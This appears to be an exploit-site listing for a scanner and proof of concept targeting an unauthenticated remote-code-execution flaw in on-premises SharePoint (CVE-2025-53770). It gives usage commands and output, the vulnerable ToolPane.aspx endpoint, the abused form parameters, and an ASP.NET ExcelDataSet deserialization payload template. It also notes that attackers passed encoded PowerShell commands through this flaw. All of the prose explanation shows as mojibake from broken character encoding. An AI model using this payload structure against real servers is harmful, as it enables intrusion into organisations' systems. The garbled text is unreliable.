Sploitus

Exploit for CVE-2025-53770 CVE-2025-49706 CVE-2025-53770

kitploit ┬╖ 2026-08-25

Exploit Code

MARKDOWN91 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HAZCOD-CVE-2025-53770
# CVE-2025-53770

рдпрд╣ SharePoint рдЕрдирдкреНрд░рдорд╛рдгрд┐рдд рд░рд┐рдореЛрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рднреЗрджреНрдпрддрд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реНрдХреИрдирд░ рд╣реИ, рдЬрд┐рд╕реЗ CVE рд╕рдВрдЦреНрдпрд╛ CVE-2025-53770 рджреА рдЧрдИ рд╣реИред  
рдЗрд╕рдХрд╛ рдХреЛрдб рдЬрдВрдЧрд▓ рдореЗрдВ рджреЗрдЦреЗ рдЧрдП рдПрдХ рдкреЗрд▓реЛрдб рдХреЛ рд░рд┐рд╡рд░реНрд╕-рдЗрдВрдЬреАрдирд┐рдпрд░ рдХрд░рдХреЗ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рдерд╛ред

рдЕрдкрдиреЗ рдЬреЛрдЦрд┐рдо рдкрд░ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ, рдореИрдВ рдЗрд╕рдХреЗ рдХрд╛рд░рдг рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдХрд┐рд╕реА рднреА рдирдХрд╛рд░рд╛рддреНрдордХ рдкреНрд░рднрд╛рд╡ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рдирд╣реАрдВ рд╣реВрдБред

## рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ?

рдпрд╣ SharePoint ToolBox рд╡рд┐рдЬреЗрдЯ рдореЗрдВ рдПрдХ рдорд╛рд░реНрдХрд░ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИред  
рдпрджрд┐ SharePoint рд╕рд░реНрд╡рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдпрд╣ рд╣рд╛рдирд┐рд░рд╣рд┐рдд рдорд╛рд░реНрдХрд░ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╣реЛрд╕реНрдЯ рдХреЛ рдХрдордЬреЛрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд┐рд╣реНрдирд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

## рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░реЗрдВ

root@kitploit:~
    
    
    # check if <TARGET-HOSTNAME> is vulnerable and try extract version information
    % ./CVE-2025-53770 [<TARGET-HOSTNAME> ...]
    INFO[0000] set log level                                 fields.level=info
    INFO[0000] starting scanner                              targets=1
    INFO[0001] detected SharePoint version                   target=<REDACTED> version="MicrosoftSharePointTeamServices: 16.0.0.5469\n"
    WARN[0001] target is vulnerable                          target=<REDACTED>
    
    # turn on debug logging and try retrieving SharePoint version information
    % ./CVE-2025-53770 -log=debug -version <TARGET-HOSTNAME> 
    ...
    

## рдХреМрди рдХрдордЬреЛрд░ рд╣реИ?

рдХреЛрдИ рднреА рдЬреЛ SharePoint рд╕рд░реНрд╡рд░ рдХреЗ _рдСрди-рдкреНрд░рд┐рдо_ рд╕рдВрд╕реНрдХрд░рдг рдХреЛ KB5002768 рдФрд░ KB5002754 рдХреЗ рдмрд┐рдирд╛ рдЪрд▓рд╛ рд░рд╣рд╛ рд╣реИред

## рдпрд╣ рдХрдордЬреЛрд░реА рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддреА рд╣реИ?

рдпрд╣ рдХрдордЬреЛрд░реА рд╕рдВрднрд╡рддрдГ SharePoint рдХреЗ рд▓рд┐рдП рдкрд╣рд▓реЗ рд╕реЗ рдЦреБрд▓рд╛рд╕рд╛ рдХреА рдЧрдИ рдХрдордЬреЛрд░реА CVE-2025-49706 рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИред  
`https://<TARGET>/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx` рдкрд░ GZIP-рд╕рдВрдкреАрдбрд╝рд┐рдд, BASE64-рдПрдиреНрдХреЛрдбреЗрдб рдкреЗрд▓реЛрдб рдХреЗ рд╕рд╛рде HTTP POST рдЕрдиреБрд░реЛрдз рднреЗрдЬрдХрд░, рдЖрдк SharePoint рд░рдирдЯрд╛рдЗрдо рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд░рд┐рдореЛрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред  
рдпрд╣рд╛рдБ рджреЛ рдлреЙрд░реНрдо рдкреИрд░рд╛рдореАрдЯрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИрдВ:

  1. `MSOTlPn_Uri`: рдирд┐рдпрдВрддреНрд░рдг рд╕реНрд░реЛрдд рдкрде



рдпрд╣ рдПрдХ рд╡реИрдз SharePoint рдирд┐рдпрдВрддреНрд░рдг (AclEditor.ascx) рдХрд╛ рд╕рдВрджрд░реНрдн рджреЗрдиреЗ рдХрд╛ рджрд┐рдЦрд╛рд╡рд╛ рдХрд░рддрд╛ рд╣реИ, рдФрд░ SharePoint рдХреЛ рд╡реЗрдм рдкрд╛рд░реНрдЯ рд╕рдВрдкрд╛рджрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдзреЛрдЦрд╛ рджреЗрддрд╛ рд╣реИред  
рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдХреЗрд╡рд▓ рд╕рддреНрдпрд╛рдкрди рдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирдХрд▓реА/рдлрд░реНрдЬреА рдорд╛рди рд╣реИред  
рдореВрд▓ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреЗрд▓реЛрдб рдореЗрдВ `MSOTlPn_Uri=https://<TARGET>%s/_controltemplates/15/AclEditor.ascx` рд╢рд╛рдорд┐рд▓ рд╣реИ, рд▓реЗрдХрд┐рди рдРрд╕рд╛ рдкреНрд░рддреАрдд рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рдЗрд╕ рдмрд┐рдВрджреБ рдкрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

  2. `MSOTlPn_DWP`: рд╡реЗрдм рдЖрдВрд╢рд┐рдХ рд╡рд┐рдиреНрдпрд╛рд╕ред



рдпрд╣ рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╕реНрдЯрдо ASP.NET рдирд┐рд░реНрджреЗрд╢ (`<%@ Register %>`) рдФрд░ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдорд╛рд░реНрдХрдЕрдк (`<Scorecard:ExcelDataSet>`) рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИред  
`CompressedDataTable` рдкреИрд░рд╛рдореАрдЯрд░ рд╣рдорд▓рд╛рд╡рд░-рдирд┐рдпрдВрддреНрд░рд┐рдд рдХреНрд░рдордмрджреНрдз рдбреЗрдЯрд╛ (GZIP + base64) рд░рдЦрддрд╛ рд╣реИ, рдЬреЛ RCE рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИред  
рдпрд╣ рдкреЗрд▓реЛрдб рдПрдХ рдирд┐рд╢реНрдЪрд┐рдд рд╕рдВрд░рдЪрдирд╛ рдХрд╛ рдЕрдиреБрд╕рд░рдг рдХрд░рддрд╛ рд╣реИ:

root@kitploit:~
    
    
    <%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
    <%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
    <asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
      <ProgressTemplate>
        <div class="divWaiting">
          <Scorecard:ExcelDataSet CompressedDataTable="<PAYLOAD-GZIPPED-BASE64-ENCODED>" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
        </div>
      </ProgressTemplate>
    </asp:UpdateProgress>
    

рдпрджрд┐ `Scorecard:ExcelDataSet` рдЬреИрд╕рд╛ рдХреЛрдИ рдирд┐рдпрдВрддреНрд░рдг рдореМрдЬреВрдж рд╣реИ рдФрд░ рдЗрд╕рдХреА `CompressedDataTable` рдЧреБрдг рд╕реЗрдЯ рд╣реИ, рддреЛ рдЗрд╕реЗ SharePoint DWP рдкрд╛рд░реНрд╕рд░ рджреНрд╡рд╛рд░рд╛ рд╕реАрдзреЗ рдЕрдХреНрд░рдордмрджреНрдз рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдкреЗрд▓реЛрдб рд╕реНрд╡рдпрдВ рдХрд╛рдлреА рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдореЗрдВ рдПрдХ `System.DelegateSerializationHolder` рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдПрдХ рдЕрдХреНрд░рдордмрджреНрдзреАрдХрд░рдг RCE рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИред  
рдЦрддрд░реЗ рдХреЗ рдЕрднрд┐рдиреЗрддрд╛рдУрдВ рдиреЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкрдиреЗ рдкреЗрд▓реЛрдб рдореЗрдВ `/c powershell -EncodedCommand <POWERSHELL-PAYLOAD>` рдкрд╛рд╕ рдХрд░рдиреЗ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ред  
рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╣рдо рдХреЗрд╡рд▓ рд╢реЛрд╖рдг рдХреНрд╖рдорддрд╛ рд╕рд╛рдмрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реНрдерд┐рд░ рдкреНрд▓реЗрд╕рд╣реЛрд▓реНрдбрд░ рдкрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ;

root@kitploit:~
    
    
    <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
    <foo>
        <bar diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
            <poc xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
                <TestWrapper>
                    <Info>This is a harmless CVE-2025-53770 PoC marker.</Info>
                    <Timestamp>2025-07-21T14:04:52Z</Timestamp>
                </TestWrapper>
            </poc>
        </bar>
    </foo>
    </diffgr:diffgram>